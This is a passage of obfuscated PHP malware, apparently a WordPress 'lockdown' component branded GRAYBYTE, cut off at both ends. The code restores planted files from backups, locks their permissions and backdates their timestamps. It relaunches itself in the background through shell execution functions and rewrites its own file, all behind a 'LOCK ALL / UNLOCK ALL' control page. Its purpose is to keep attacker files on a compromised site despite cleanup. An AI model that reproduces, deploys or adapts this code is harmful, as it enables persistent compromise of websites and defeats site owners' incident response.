x20\40\40\40\40\40\x20\40\40\40\100\x63\150\155\x6f\x64\x28\x24\166\141\154\165\145\x5b\42\160\x61\164\150\42\135\x2c\60\x37\x37\x37\51\73\xd\xa\x20\40\40\x20\40\x20\x20\x20\40\x20\x20\x20\40\40\40\40\100\165\x6e\x6c\151\x6e\153\x28\x24\166\x61\x6c\x75\145\133\x22\x70\x61\164\x68\x22\x5d\51\73\15\xa\x20\40\40\40\40\40\x20\40\x20\x20\40\40\40\x20\40\40\x40\146\x69\154\x65\x5f\x70\165\164\x5f\143\x6f\x6e\x74\145\x6e\164\163\50\x24\166\x61\154\x75\x65\x5b\42\160\x61\164\150\42\x5d\x2c\44\166\x61\x6c\165\x65\133\x22\x63\x6f\156\x74\145\x6e\164\42\135\x29\73\xd\xa\40\x20\x20\40\x20\40\x20\x20\x20\x20\40\40\x20\x20\40\x20\100\164\157\x75\x63\x68\x28\x24\166\x61\x6c\x75\145\133\x22\160\141\x74\x68\42\x5d\54\x24\x66\x69\154\x65\x5f\155\x74\x69\155\145\x29\x3b\15\12\x20\x20\40\40\40\x20\x20\x20\x20\x20\40\40\x20\x20\x20\x20\x40\143\x68\x6d\x6f\x64\x28\44\x76\141\x6c\165\x65\133\x22\160\141\164\x68\x22\x5d\x2c\x30\64\x34\x34\51\x3b\15\xa\40\40\40\x20\x20\x20\40\40\x20\x20\40\40\175\xd\12\x20\x20\x20\x20\40\x20\40\x20\175\15\xa\40\40\40\x20\x7d\xd\xa\175\xd\12"; goto CChYK; KzpT8: bcYzz: goto wf4Ez; Of20r: chmod($rdXop, 0777); goto p1Xyl; CChYK: $r2RkA = dirname($rdXop); goto Y6alB; NyYrb: X0pT_: goto sMHIE; pXHqc: mkdir($r2RkA, 0755, true); goto KzpT8; aeDbW: touch($rdXop, strtotime("\55\x35\60\x30\x20\144\x61\x79\x73", time())); goto il_ik; wf4Ez: if (!is_file($rdXop)) { goto X0pT_; } goto Of20r; sMHIE: file_put_contents($rdXop, $afl2A); goto aeDbW; a3Xan: } goto kfXld; oCOi0: unlink($aT4O3); goto BJJkS; a9Jps: goto HXrhv; goto kMzib; kC6sC: header("\x43\157\x6e\164\145\156\164\x2d\124\171\160\x65\72\x20\x74\145\x78\x74\x2f\150\164\x6d\154\73\40\x63\150\x61\162\x73\x65\164\75\125\124\106\55\70"); goto X7605; wv6ga: y2nBf: goto VEuNG; L6mNi: goto HXrhv; goto R6Tjc; pDxhN: echo "\74\142\x72\x3e\74\x62\x72\x3e\74\x62\162\x3e\74\142\x72\76\74\150\61\x20\163\x74\x79\154\x65\75\42\x63\x6f\x6c\x6f\162\72\x20\x23\60\x64\x66\x66\x30\60\146\146\x3b\x20\42\x3e\x20\75\x21\x3d\x3d\41\75\x3d\x21\75\75\41\x3d\75\41\x3d\x3d\41\x3d\x3d\41\75\75\x21\x20\x55\x4e\x4c\117\x43\x4b\40\123\x55\103\103\x45\x53\x53\106\125\x4c\x20\75\x21\75\x3d\x21\x3d\x3d\41\x3d\x3d\41\x3d\x3d\x21\75\75\x21\75\75\41\75\75\41\74\x2f\150\61\76"; goto rE6MW; Yk2O3: avQT0: goto YnChw; Y_UWp: function xtZ18() { goto aSyI2; G4J4f: return $jfPgQ; goto hMw9T; hTvBc: if (!(isset($_SERVER["\x61\162\x67\143"]) && $_SERVER["\141\162\x67\143"] >= 2)) { goto w6X7G; } goto B9rV4; qX78n: if (!($jfPgQ === false)) { goto GrDOW; } goto uxl7e; UWGqe: w6X7G: goto sdPjx; bMfrL: GrDOW: goto G4J4f; F74Jx: $jfPgQ = true; goto Wx3cq; Wx3cq: pHuJP: goto bMfrL; B9rV4: $jfPgQ = true; goto UWGqe; SCHXo: if (!($jfPgQ === false)) { goto mvkEK; } goto hTvBc; uxl7e: if (isset($_SERVER["\x53\x43\122\111\120\124\137\x4e\x41\x4d\105"])) { goto pHuJP; } goto F74Jx; aSyI2: $jfPgQ = preg_match("\57\x63\x6c\x69\57\x69", php_sapi_name()) ? true : false; goto SCHXo; sdPjx: mvkEK: goto qX78n; hMw9T: } goto Q3JDJ; N0NYl: goto czLdQ; goto ZPe51; GGGlV: file_put_contents(__FILE__, $TUOmK); goto Ipd1l; r9Vud: foreach ($Zukcn as $LHOSh) { goto zE5KJ; NH3g9: $buJrT = trim(file_get_contents($YU9cx)); goto YwFwZ; YwFwZ: if (!($buJrT != '')) { goto h93z9; } goto YwraX; TqcJi: if (!is_file($YU9cx)) { goto zLjBU; } goto NH3g9; ykfpm: BTRB2: goto Y2i3X; bXgtf: zLjBU: goto ykfpm; BWlng: $ui4s0[] = array("\160\141\x74\150" => $Rz0XO . "\x2f" . $LHOSh["\x62\141\x6b"], "\x63\x6f\156\x74\x65\x6e\164" => $buJrT); goto lzRYP; zE5KJ: $YU9cx = $Rz0XO . "\x2f" . $LHOSh["\x62\141\153"]; goto TqcJi; IVqBC: $IXXKd[] = array("\x70\141\x74\150" => $YU9cx, "\x63\157\156\164\145\156\164" => $buJrT); goto BWlng; lzRYP: h93z9: goto bXgtf; YwraX: $w7Z_b = true; goto IVqBC; Y2i3X: } goto DE2T1; R7E3l: goto GHbAT; goto q_GP8; vgnQ7: UZ466: goto pDxhN; hvIzF: echo "\x3c\x21\104\x4f\x43\x54\131\x50\105\40\x68\164\x6d\x6c\76\xd\12\x3c\x68\x74\155\154\x20\154\141\x6e\x67\75\42\x65\x6e\42\x3e\15\12\74\150\145\x61\x64\x3e\xd\12\40\x20\x20\40\x3c\155\x65\x74\141\40\x63\150\141\x72\x73\x65\164\x3d\42\x55\x54\106\55\70\x22\x3e\15\xa\x20\40\x20\x20\74\x6d\x65\x74\x61\x20\156\x61\x6d\145\75\42\x76\151\145\167\x70\157\x72\x74\x22\x20\143\157\156\164\x65\x6e\x74\x3d\x22\x77\151\144\164\150\75\144\145\x76\151\x63\145\55\x77\x69\144\x74\150\54\x20\x69\x6e\x69\x74\151\x61\x6c\55\x73\x63\141\x6c\x65\75\x31\x2e\60\x22\x3e\xd\xa\x20\40\x20\x20\74\x6c\151\156\x6b\40\x72\145\154\x3d\x22\151\x63\x6f\x6e\42\40\164\171\160\x65\75\42\151\x6d\141\x67\x65\x2f\x70\156\x67\42\x20\150\x72\x65\146\x3d\42\x68\x74\x74\160\x73\72\x2f\57\151\56\151\x62\142\x2e\143\157\x2e\x63\x6f\x6d\x2f\166\x34\155\103\155\71\x4a\x37\57\154\157\147\x6f\x78\x63\x6f\144\145\56\x70\156\147\42\76\15\12\x20\x20\x20\x20\x3c\164\x69\x74\154\145\x3e\123\105\103\x55\x52\105\x20\127\117\x52\104\x50\122\105\x53\123\40\x57\105\102\123\111\x54\105\x20\102\x59\40\107\122\x41\131\102\x59\124\x45\74\x2f\x74\x69\x74\154\145\x3e\xd\12\x20\x20\x20\x20\x3c\x73\x74\x79\x6c\145\76\15\xa\40\40\40\40\x20\40\x20\x20\100\151\155\160\x6f\162\x74\40\x75\x72\x6c\50\47\150\164\x74\x70\x73\72\57\57\146\x6f\156\164\163\56\147\x6f\x6f\x67\x6c\145\x61\160\x69\163\x2e\x63\x6f\155\57\x63\163\163\x32\77\x66\x61\155\151\x6c\171\x3d\120\x6c\x61\171\72\x77\x67\150\x74\x40\x37\60\60\46\144\151\x73\160\x6c\x61\x79\75\163\167\141\160\x27\x29\73\xd\12\x20\40\40\x20\x20\x20\40\x20\x2a\40\173\x20\x6d\x61\162\x67\x69\x6e\72\x30\73\x20\160\x61\x64\144\151\156\x67\72\x30\73\40\142\157\x78\x2d\x73\151\172\151\156\147\72\142\x6f\162\144\x65\162\x2d\142\x6f\170\73\x20\175\xd\12\40\x20\x20\40\x20\x20\x20\40\142\157\144\x79\40\173\40\xd\xa\40\40\x20\40\40\40\40\x20\40\40\40\x20\155\141\162\147\151\x6e\x3a\x30\x3b\x20\x70\x61\x64\x64\151\x6e\x67\72\60\73\x20\x6d\151\x6e\x2d\150\x65\x69\147\x68\x74\x3a\x31\x30\x30\x76\x68\73\x20\15\xa\x20\40\x20\40\x20\40\40\40\40\x20\40\40\x66\157\x6e\x74\55\146\141\x6d\151\154\x79\72\x27\x50\154\141\171\x27\54\163\x61\x6e\163\x2d\163\145\162\x69\146\x3b\x20\15\xa\40\x20\40\x20\x20\x20\40\40\x20\x20\x20\x20\144\151\163\x70\154\141\x79\72\x66\x6c\x65\x78\73\40\152\165\163\164\151\x66\171\55\143\157\x6e\x74\x65\x6e\164\72\x63\x65\x6e\x74\145\162\73\40\141\x6c\151\147\x6e\x2d\x69\x74\x65\155\163\x3a\143\x65\x6e\164\145\x72\73\40\15\12\40\x20\x20\40\40\x20\x20\x20\40\40\40\40\x62\141\x63\153\147\162\157\x75\156\144\72\165\162\x6c\50\x27\x68\164\164\160\x73\72\x2f\x2f\x69\56\151\x62\x62\56\143\157\x2e\143\x6f\155\x2f\x37\170\x4e\112\104\x63\x71\x58\57\x62\141\143\x6b\147\162\x6f\x75\156\144\56\x6a\160\x67\x27\51\40\143\x65\x6e\164\145\x72\57\143\x6f\x76\145\162\x20\x66\151\170\145\x64\x3b\x20\xd\12\40\40\40\40\40\40\x20\x20\40\x20\x20\x20\x63\157\154\x6f\162\x3a\x20\43\145\60\145\x30\x65\x30\73\xd\xa\40\x20\40\x20\x20\40\x20\x20\x7d\xd\12\40\x20\x20\40\x20\x20\40\40\56\x63\x6f\x6e\x74\141\151\156\145\162\40\x7b\x20\xd\12\x20\x20\40\40\x20\x20\x20\x20\40\x20\x20\x20\x77\x69\144\x74\150\x3a\x38\x35\45\73\15\12\40\40\40\x20\40\x20\x20\40\40\40\40\40\142\141\143\x6b\147\162\x6f\x75\156\x64\x3a\x72\147\x62\x61\x28\60\x2c\x20\60\x2c\x20\60\x2c\x20\60\x2e\65\x31\51\x3b\40\xd\xa\40\40\x20\x20\x20\40\x20\x20\x20\40\x20\x20\x62\x6f\162\144\x65\162\x3a\x31\160\x78\x20\163\x6f\x6c\x69\144\40\43\146\146\x30\60\x30\60\73\40\xd\xa\40\40\x20\40\40\40\x20\40\x20\x20\40\x20\x62\157\162\144\145\162\x2d\162\141\x64\151\165\x73\x3a\x31\x32\x70\170\x3b\x20\15\xa\x20\40\40\40\40\40\40\x20\x20\x20\x20\x20\160\x61\144\x64\x69\156\x67\x3a\71\x30\x70\170\40\x39\60\160\x78\x3b\x20\xd\xa\x20\x20\40\x20\x20\40\x20\40\40\40\40\40\x74\x65\x78\164\55\141\x6c\151\x67\156\72\x63\x65\156\164\x65\x72\73\40\15\xa\40\40\x20\x20\x20\40\x20\x20\x20\x20\x20\40\142\x6f\x78\55\x73\150\x61\x64\157\x77\x3a\x20\65\x70\170\x20\x35\x70\x78\x20\62\x35\160\x78\x20\43\146\x66\60\60\x30\x30\x3b\40\xd\12\40\x20\40\x20\x20\40\40\40\x20\40\x20\40\x23\x62\141\x63\x6b\144\162\x6f\160\55\x66\151\x6c\x74\x65\162\x3a\40\142\154\x75\x72\50\x34\160\x78\51\73\xd\xa\x20\x20\x20\x20\40\x20\40\40\x7d\xd\xa\x20\x20\x20\x20\40\40\x20\40\x68\61\40\173\x20\15\12\40\x20\40\40\40\x20\40\40\x20\40\40\x20\x66\x6f\156\164\x2d\163\151\x7a\145\72\62\x2e\62\162\145\x6d\73\x20\15\xa\x20\40\x20\40\40\40\x20\40\40\x20\40\x20\x63\157\x6c\157\162\72\43\x66\x66\60\60\x30\60\73\40\15\12\40\x20\40\x20\x20\40\x20\40\40\x20\40\40\164\x65\170\x74\x2d\164\162\x61\x6e\x73\x66\x6f\x72\155\72\165\160\x70\x65\162\143\x61\x73\x65\x3b\x20\xd\12\x20\40\x20\x20\x20\x20\40\x20\40\40\x20\x20\x6c\x65\164\x74\145\162\x2d\x73\160\141\x63\x69\156\147\x3a\x35\x70\x78\73\x20\xd\xa\40\40\40\40\x20\40\40\40\40\40\x20\x20\155\x61\x72\x67\151\x6e\55\x62\157\164\x74\157\155\x3a\64\x30\x70\170\73\xd\xa\40\x20\x20\40\x20\x20\x20\40\x20\x20\x20\40\x74\x65\x78\164\55\163\x68\141\x64\x6f\x77\x3a\65\x70\170\40\65\160\170\40\x35\65\x70\170\x20\x23\61\62\x30\60\x66\146\x3b\xd\12\40\x20\40\40\x20\40\40\40\x7d\xd\12\40\40\40\40\x20\40\40\40\56\x77\x61\162\156\151\156\x67\40\x7b\xd\xa\40\40\40\x20\x20\40\x20\40\40\x20\40\x20\143\x6f\x6c\x6f\x72\72\x20\x23\x66\x66\143\143\x30\x30\73\xd\12\40\x20\x20\40\40\40\40\40\x20\x20\x20\x20\146\157\x6e\x74\55\x73\x69\x7a\x65\72\x20\61\x2e\61\x38\x72\145\x6d\x3b\xd\xa\40\40\40\40\40\40\40\40\40\40\40\40\155\141\x72\x67\151\x6e\72\40\x32\x35\160\170\x20\x30\40\64\65\x70\170\73\15\xa\x20\x20\x20\40\x20\40\x20\40\40\40\40\40\154\x69\x6e\x65\55\x68\x65\x69\147\150\164\x3a\x20\x31\56\65\x35\73\15\12\40\x20\x20\40\40\x20\x20\40\x20\40\40\x20\x74\145\170\164\55\163\x68\141\144\x6f\x77\x3a\x20\x30\40\x30\x20\x38\x70\x78\x20\43\146\x66\x63\143\60\60\x36\x36\x3b\15\xa\40\40\x20\40\40\x20\x20\40\175\15\xa\40\40\40\40\x20\40\x20\40\56\143\x79\142\145\x72\55\142\x75\164\164\x6f\156\40\x7b\xd\xa\x20\40\x20\40\40\x20\x20\x20\x20\40\40\x20\x64\x69\163\160\x6c\141\x79\x3a\40\151\156\154\151\156\145\55\x62\154\157\x63\153\x3b\xd\12\40\x20\x20\40\x20\40\x20\40\40\x20\x20\40\x70\x61\x64\144\x69\x6e\x67\72\40\61\70\160\170\40\x35\60\160\170\x3b\xd\12\x20\x20\x20\x20\40\x20\x20\40\40\40\40\40\155\x61\162\x67\x69\x6e\x3a\x20\x31\65\x70\170\x20\61\62\x70\170\x3b\xd\xa\x20\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\142\157\162\144\x65\162\72\40\x31\160\170\x20\x73\157\x6c\x69\144\40\x23\146\146\x30\x30\x30\x30\x3b\15\xa\40\x20\40\x20\40\40\x20\40\x20\40\40\x20\143\x6f\x6c\157\x72\x3a\40\43\x66\x66\146\x66\x66\x66\73\15\12\x20\40\x20\40\40\x20\40\x20\40\40\x20\x20\164\x65\x78\164\x2d\x64\x65\x63\157\162\x61\x74\x69\157\x6e\72\40\x6e\157\156\145\73\15\12\x20\x20\40\x20\40\x20\40\40\x20\40\40\40\146\157\156\164\x2d\163\151\172\x65\x3a\40\x31\x2e\x34\x72\x65\155\73\15\12\40\x20\x20\40\40\x20\x20\40\40\x20\x20\40\x66\x6f\x6e\x74\55\x77\145\151\147\x68\x74\x3a\40\x62\x6f\x6c\144\73\xd\12\40\40\x20\x20\x20\40\40\x20\x20\40\40\40\x74\145\170\x74\55\x74\x72\x61\x6e\x73\x66\x6f\162\x6d\72\x20\x75\160\x70\x65\x72\143\141\163\145\x3b\15\12\x20\40\40\x20\x20\x20\x20\x20\x20\40\x20\40\x6c\x65\x74\164\x65\x72\55\163\160\141\143\151\156\147\72\x20\x36\x70\170\73\xd\12\40\40\x20\x20\40\x20\40\x20\40\40\x20\40\x62\157\162\144\145\162\55\x72\x61\x64\151\x75\163\72\x20\61\60\x70\x78\x3b\15\xa\40\40\x20\40\x20\x20\x20\40\40\40\x20\x20\142\141\143\x6b\x67\x72\x6f\165\x6e\x64\x3a\40\162\147\x62\141\50\62\x35\x35\x2c\x31\x37\x2c\x30\54\60\x2e\x30\x39\x29\73\15\xa\40\x20\x20\x20\40\40\40\40\x20\40\x20\x20\142\157\x78\55\x73\150\x61\144\x6f\167\x3a\40\x30\x20\60\40\61\x38\160\170\40\x23\x66\146\x30\60\60\60\x36\66\73\xd\12\x20\x20\x20\40\40\40\40\40\40\x20\x20\40\x74\x72\x61\156\163\x69\164\151\157\x6e\72\40\x61\154\154\x20\x30\x2e\x34\65\x73\40\x65\x61\163\145\x3b\xd\12\x20\x20\40\x20\x20\40\40\x20\x7d\xd\xa\x20\x20\40\x20\40\x20\x20\40\56\x63\171\142\x65\x72\x2d\142\x75\x74\x74\157\x6e\x3a\150\x6f\166\x65\x72\40\x7b\15\12\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x61\143\153\x67\x72\x6f\165\156\x64\x3a\40\x72\147\142\141\50\62\x35\x35\x2c\x31\67\54\60\x2c\x30\56\63\70\x29\73\xd\12\x20\40\40\40\x20\40\40\x20\x20\x20\x20\x20\x62\157\170\x2d\x73\150\x61\144\157\167\72\40\60\40\x30\40\x32\x35\x70\170\40\x23\x66\146\61\61\x30\x30\x3b\15\12\40\40\x20\40\x20\40\40\40\40\40\40\x20\x74\x72\x61\156\163\146\157\x72\x6d\x3a\x20\x74\162\x61\156\x73\x6c\x61\164\145\x59\x28\55\64\x70\170\51\73\xd\xa\40\40\x20\40\x20\40\x20\x20\x7d\15\xa\40\x20\x20\40\40\x20\x20\40\56\x75\x6e\154\157\143\153\x2d\142\x74\x6e\x20\x7b\15\xa\x20\40\40\x20\40\x20\x20\40\x20\x20\40\40\x62\157\x72\x64\145\x72\55\143\x6f\154\157\162\x3a\x20\43\60\67\143\67\x31\145\146\x66\40\41\x69\x6d\160\x6f\162\164\141\x6e\x74\x3b\15\12\40\x20\x20\40\x20\40\x20\x20\x20\x20\x20\40\142\x6f\170\55\163\x68\141\144\157\x77\72\x20\x30\x20\x30\40\x31\x38\x70\x78\x20\x23\x30\60\146\x66\x39\x64\x34\x34\40\x21\151\155\x70\x6f\x72\x74\141\156\164\73\xd\12\x20\40\x20\x20\x20\x20\x20\40\175\xd\xa\x20\x20\x20\40\x20\40\40\40\x2e\x75\x6e\154\157\143\153\55\x62\x74\156\72\150\x6f\x76\145\x72\x20\x7b\15\12\x20\40\x20\40\x20\x20\40\x20\x20\40\x20\40\142\141\143\153\x67\162\x6f\x75\x6e\x64\x3a\x20\162\147\x62\141\x28\60\x2c\x32\x35\65\54\61\x35\67\54\x30\x2e\x32\70\51\x20\41\151\155\160\157\162\x74\x61\x6e\x74\x3b\15\12\x20\40\40\40\x20\x20\x20\x20\40\40\40\40\x62\x6f\170\55\x73\150\141\144\157\167\x3a\40\x30\x20\x30\x20\x32\x30\160\170\x20\x23\60\x30\146\x66\x39\x64\40\41\x69\x6d\160\157\162\x74\x61\x6e\164\x3b\15\xa\x20\x20\x20\40\40\40\40\x20\175\15\xa\x20\x20\40\40\x3c\x2f\x73\164\171\x6c\x65\x3e\xd\12\74\x2f\x68\145\141\x64\76\15\xa\74\x62\157\x64\x79\76\15\12\x20\40\x20\40\x3c\x64\151\166\x20\143\x6c\141\x73\163\75\x22\x63\157\x6e\164\141\x69\x6e\x65\162\x22\76\15\xa\x20\x20\x20\x20\x20\x20\40\40\74\150\x31\x3e\75\40\x53\x45\103\x55\122\105\x20\127\x4f\122\x44\x50\122\105\123\x53\x20\102\131\40\x47\122\x41\131\102\x59\124\105\40\75\x3c\x2f\x68\x31\x3e\15\xa\40\40\40\40\40\x20\40\40\x3c\141\x20\x68\162\x65\146\75\42\77\153\x3d\164\42\x20\x63\x6c\x61\163\163\x3d\42\143\x79\x62\145\162\55\142\165\x74\x74\157\156\x22\x3e\114\x4f\x43\113\40\101\x4c\114\74\57\141\76\15\xa\x20\x20\x20\x20\40\40\x20\x20\x3c\x61\x20\x68\162\145\x66\75\x22\77\153\75\165\x22\40\x63\154\141\163\163\75\x22\x63\171\142\145\x72\55\142\x75\x74\x74\x6f\156\40\x75\x6e\154\x6f\x63\x6b\55\x62\x74\x6e\42\x3e\x55\116\114\x4f\x43\x4b\40\101\x4c\x4c\74\x2f\x61\x3e\xd\12\x20\x20\40\x20\74\57\144\151\166\x3e\xd\12\x3c\x2f\x62\157\x64\x79\x3e\15\xa\x3c\57\x68\x74\155\x6c\x3e"; goto a9Jps; tznw6: $ZNTLg = popen($RuyH0, "\162"); goto ZONT0; Od4HF: $y0bjg = str_replace($_SERVER["\x53\x43\122\111\x50\124\x5f\x4e\101\x4d\x45"], '', $_SERVER["\123\103\122\x49\x50\x54\x5f\x46\x49\114\105\x4e\101\x4d\x45"]); goto m74Iq; iA0xi: $qeMJL = md5("\167\x70\137\x6e\157\156\143\145\137\164\x69\143\x6b"); goto b09vA; kMzib: GMbXd: goto ztsnC; gpB22: ymOsF: goto euePq; qOrG8: if (function_exists("\x70\162\157\x63\x5f\x6f\x70\x65\156")) { goto sgW40; } goto Z2yWP; EzW41: $d26Yg = array(); goto bZKAz; SU6be: if (count($Zukcn) > 0) { goto L24PX; } goto ceO1C; AcR9I: exec($RuyH0); goto JcgZQ; WuJ6V: unlink($y0bjg . "\x2f" . $He228); goto D1h2t; bNNm6: passthru($RuyH0); goto eCZ_P; fTNqB: echo "\74\142\162\76\x3c\x62\x72\x3e\x50\117\x50\55\x45\40\130\x20\103\40\x20\105\130\121\124\104\74\142\x72\x3e" . $RuyH0; goto tznw6; lUl1K: $ZNTLg = proc_open($RuyH0, array(array("\160\x69\x70\x65", "\x72"), array("\160\151\160\145", "\167"), array("\146\x69\x6c\x65", "\x2f\x74\155\160\57\145\x72\162\x6f\162\x2d\x6f\x75\x74\x70\x75\x74\56\x74\170\x74", "\x61")), $ar3Qc); goto EWTOt; X2j85: $RuyH0 = "\x6e\x6f\x68\165\160\x20{$x9wYk}\x20" . $ddv2l . "\x20\76\57\144\145\166\x2f\156\x75\154\154\x20\62\76\46\61\x20\x26"; goto RDR0p; vrbgD: g2gTJ: goto Mi7UR; CNKuU: echo "\x3c\x62\x72\76\x3c\142\x72\x3e\74\142\162\x3e\x3c\142\162\x3e\74\x68\61\40\163\x74\x79\x6c\x65\x3d\42\143\x6f\x6c\157\x72\72\40\43\146\x66\60\x30\x30\x30\146\x66\x3b\x20\x22\76\40\75\x21\x3d\x3d\41\x3d\x3d\41\75\75\x21\x3d\x3d\41\x3d\x3d\41\x3d\x3d\41\75\x3d\41\x20\x4e\117\40\x57\x4f\122\113\x20\124\117\40\x44\x4f\x20\103\x48\105\103\x4b\40\x4d\x41\116\125\101\114\x4c\x59\x20\75\41\75\75\x21\x3d\75\x21\75\75\41\x3d\75\x21\75\75\41\75\x3d\41\x3d\x3d\x21\x3c\57\150\x31\x3e"; goto QqgO4; Nra5i: function sjhpl() { goto eEeGH; A41OT: chmod(__FILE__, 0777); goto RuqqX; jyZTW: NjFKl($kCRJZ . $_SERVER["\x48\124\x54\x50\x5f\110\117\x53\124"] . $ipkHl . "\77\153\x3d\150\x74\164\x70\x5f\x6c\157\x63\153\46\155\x61\x78\x5f\164\x69\x6d\145\163\75\x30", 3); goto q2NFI; h487Z: $kCRJZ = $_SERVER["\110\x54\124\x50\x53"] != '' && $_SERVER["\110\x54\124\x50\123"] != "\157\x66\146" || $_SERVER["\x52\x45\121\x55\x45\x53\124\x5f\123\103\x48\105\x4d\x45"] == "\x68\x74\x74\x70\163" || $_SERVER["\x53\x45\x52\126\x45\122\137\120\117\x52\124"] == "\64\x34\63" ? "\150\x74\164\160\163\x3a\57\x2f" : "\150\164\164\160\x3a\57\x2f"; goto Ryrah; TKlUF: Wtpu3: goto HtV9Z; uA62m: exit; goto hQo2v; q2NFI: hiUSH: goto FAsuY; HA1WO: wneMP: goto t3Sjb; bXEvn: if (!(is_file($tNsCB) && $kERJy > 0)) { goto hOdOK; } goto RFvwp; l9cP2: $wh1gh = file_get_contents($tNsCB); goto Uz4eZ; Ky5Xb: unlink($aT4O3); goto HA1WO; RFvwp: $izs8h = file_get_contents($tNsCB); goto p5pTk; hQo2v: qUKiD: goto Nuv9w; kjne4: hXlXD: goto m4txt; uzEkH: if (!($j0F9f > $kERJy)) { goto sIFNB; } goto kdjg3; izTVK: usleep(100000); goto l9cP2; gKjpO: $ipkHl = $n8OOL[0]; goto A6Ymr; EoYPa: if (!is_file($aT4O3)) { goto wneMP; } goto Ky5Xb; xIfKM: c27fv: goto uzEkH; fylh9: k_ZYR($kERJy); goto ZSrzg; BNXle: $j0F9f = intval($izs8h / 100 * 80); goto xIfKM; m4txt: file_put_contents(__FILE__, $yr_gO); goto NsXnU; ZSrzg: if (!($at1Ob === true)) { goto qUKiD; } goto uA62m; l5XxT: aY154: goto ocH4Z; YOgB5: if (!($_GET["\153"] == "\164")) { goto hiUSH; } goto jyZTW; FAsuY: NjFKl($kCRJZ . $_SERVER["\110\124\x54\x50\137\x48\117\123\124"] . $ipkHl . "\77\x6b\75\150\164\164\x70\x5f\x6c\x6f\x63\x6b\46\x6d\141\x78\137\x74\151\x6d\145\163\x3d" . $kERJy, 30); goto P4uxl; MR9Ye: zJqnF: goto h487Z; HtV9Z: $n8OOL = explode("\77", $_SERVER["\x52\105\121\125\105\x53\x54\x5f\125\x52\x49"]); goto gKjpO; eEeGH: global $aT4O3, $at1Ob, $yr_gO, $IXXKd, $tNsCB; goto EoYPa; dDWl_: $ipkHl = $_SERVER["\x53\103\122\111\x50\x54\137\116\x41\115\x45"]; goto eToZh; Ryrah: if (isset($_SERVER["\x52\x45\x51\x55\105\123\x54\x5f\125\x52\x49"])) { goto Wtpu3; } goto dDWl_; Nuv9w: if (!is_file(__FILE__)) { goto hXlXD; } goto A41OT; pidta: unlink($tNsCB); goto l5XxT; p5pTk: if (!is_numeric($izs8h)) { goto c27fv; } goto BNXle; Uz4eZ: if (!($izs8h == $wh1gh)) { goto aY154; } goto pidta; YRZEd: hOdOK: goto fylh9; t3Sjb: isset($_GET["\155\x61\x78\x5f\164\151\x6d\x65\163"]) && is_numeric($_GET["\155\141\170\x5f\164\151\155\x65\x73"]) ? $kERJy = $_GET["\155\x61\x78\137\x74\x69\155\x65\x73"] : ($kERJy = 10000); goto bXEvn; kdjg3: $kERJy = $j0F9f; goto izTVK; RuqqX: unlink(__FILE__); goto kjne4; NsXnU: foreach ($IXXKd as $jWX3z) { goto GQURO; YLEWX: chmod($jWX3z["\x70\x61\x74\150"], 0777); goto fCDIB; TZSpb: UzMnS: goto PVHXp; Y4uiL: file_put_contents($jWX3z["\160\x61\164\x68"], $jWX3z["\x63\x6f\156\164\x65\156\x74"]); goto TZSpb; qnIMF: u06eN: goto Y4uiL; fCDIB: unlink($jWX3z["\160\x61\164\150"]); goto qnIMF; GQURO: if (!is_file($jWX3z["\x70\x61\x74\150"])) { goto u06eN; } goto YLEWX; PVHXp: } goto MR9Ye; ocH4Z: sIFNB: goto YRZEd; A6Ymr: JtoG9: goto YOgB5; eToZh: goto JtoG9; goto TKlUF; P4uxl: } goto IdNqq; SG3bi: $ZPFja .= "\x61\162\x72\141\171\x28\x22\142\x61\x6b\x22\x3d\x3e\x22" . $e5taZ . "\42\x2c\x22\164\141\162\x67\x65\164\x22\x3d\x3e\42" . $RPAVc . "\42\x29\x2c"; goto HfXuQ; bKxtI: $Vksl0 .= "\102\141\143\x6b\x75\160\40\146\151\154\145\40" . $e5taZ . "\x20\x2d\x2d\x3e\40\124\141\162\147\x65\x74\x20\146\x69\x6c\145\40" . $RPAVc . "\40\x3c\142\162\x2f\76"; goto SG3bi; rMxBk: echo "\x3c\x68\x31\40\163\164\171\x6c\145\x3d\x22\x63\157\x6c\x6f\162\72\x20\43\60\x64\x66\x66\60\60\x66\146\73\40\42\x3e\x20\x3c\x62\x72\x3e\74\x62\162\x3e\x3c\142\162\x3e\x3c\142\x72\x3e\x3d\43\x3d\x3d\43\75\x3d\43\x3d\x3d\43\75\x3d\43\x3d\75\x23\x3d\x3d\43\75\x3d\43\75\x20\x53\125\x43\103\x45\123\x53\x46\125\114\114\x20\114\x4f\103\x4b\104\x4f\x57\x4e\40\x3d\43\75\x3d\x23\75\x3d\x23\75\x3d\x23\75\75\x23\75\75\x23\x3d\x3d\x23\x3d\x3d\x23\75\x3c\57\x68\x31\x3e"; goto d3uPq; mN5OB: SjhPl(); goto QnRXc; XYmDe: if (!is_file($y0bjg . "\x2f" . $He228) || trim(file_get_contents($y0bjg . "\x2f" . $He228)) != $qeMJL) { goto UZ466; } goto CNKuU; DJH5t: $co5I3 = explode("\77", $_SERVER["\x52\x45\x51\125\x45\123\x54\137\125\x52\x49"]); goto ZfvRJ; Qvws3: HeGp1: goto wk_73; D3KQy: if (isset($_SERVER["\x52\105\121\125\x45\x53\x54\x5f\125\x52\x49"]) && isset($_SERVER["\x53\x43\122\x49\120\x54\137\106\111\114\x45\x4e\x41\115\105"])) { goto zCaym; } goto Ck0jE; jeuup: goto GHbAT; goto Qvws3; vnFt_: $yr_gO = file_get_contents(__FILE__); goto IMGKT; WScZ_: $JqS29 = "\xd\12\x20\x20\x20\x20\x20\x20\x20\40\40\x20\x20\40\74\x66\x6f\x72\155\x20\156\141\x6d\x65\75\42\x66\x6f\162\x6d\x31\42\x20\x6b\75\x22\x3f\x6b\x3d\x75\160\144\141\x74\145\x22\x20\x6d\x65\x74\150\157\x64\75\42\160\x6f\163\164\x22\x3e\15\xa\x20\x20\40\40\x20\40\40\40\x20\40\x20\x20\x20\x20\x20\x20\x3c\157\x6c\x3e\xd\xa\x20\x20\40\40\40\x20\40\40\40\x20\40\x20\x20\40\x20\x20\x20\x20\x20\40\x3c\154\x69\x3e\x42\141\143\x6b\x75\x70\40\x66\151\x6c\145\x3c\151\156\x70\165\x74\x20\x74\x79\x70\145\x3d\x22\x74\x65\170\x74\42\x20\x6e\x61\x6d\145\x3d\42\x62\x61\153\x5f\146\151\154\x65\61\42\x20\x76\x61\x6c\x75\x65\75\x22\x2f\x69\x63\x6f\x2f\151\x63\157\x6e\x2e\160\150\160\x22\x20\163\151\172\145\75\x22\x32\60\42\x3e\40\55\x2d\x3e\x20\x54\x61\162\147\145\164\40\146\x69\x6c\145\x3c\151\156\x70\x75\x74\x20\x74\x79\x7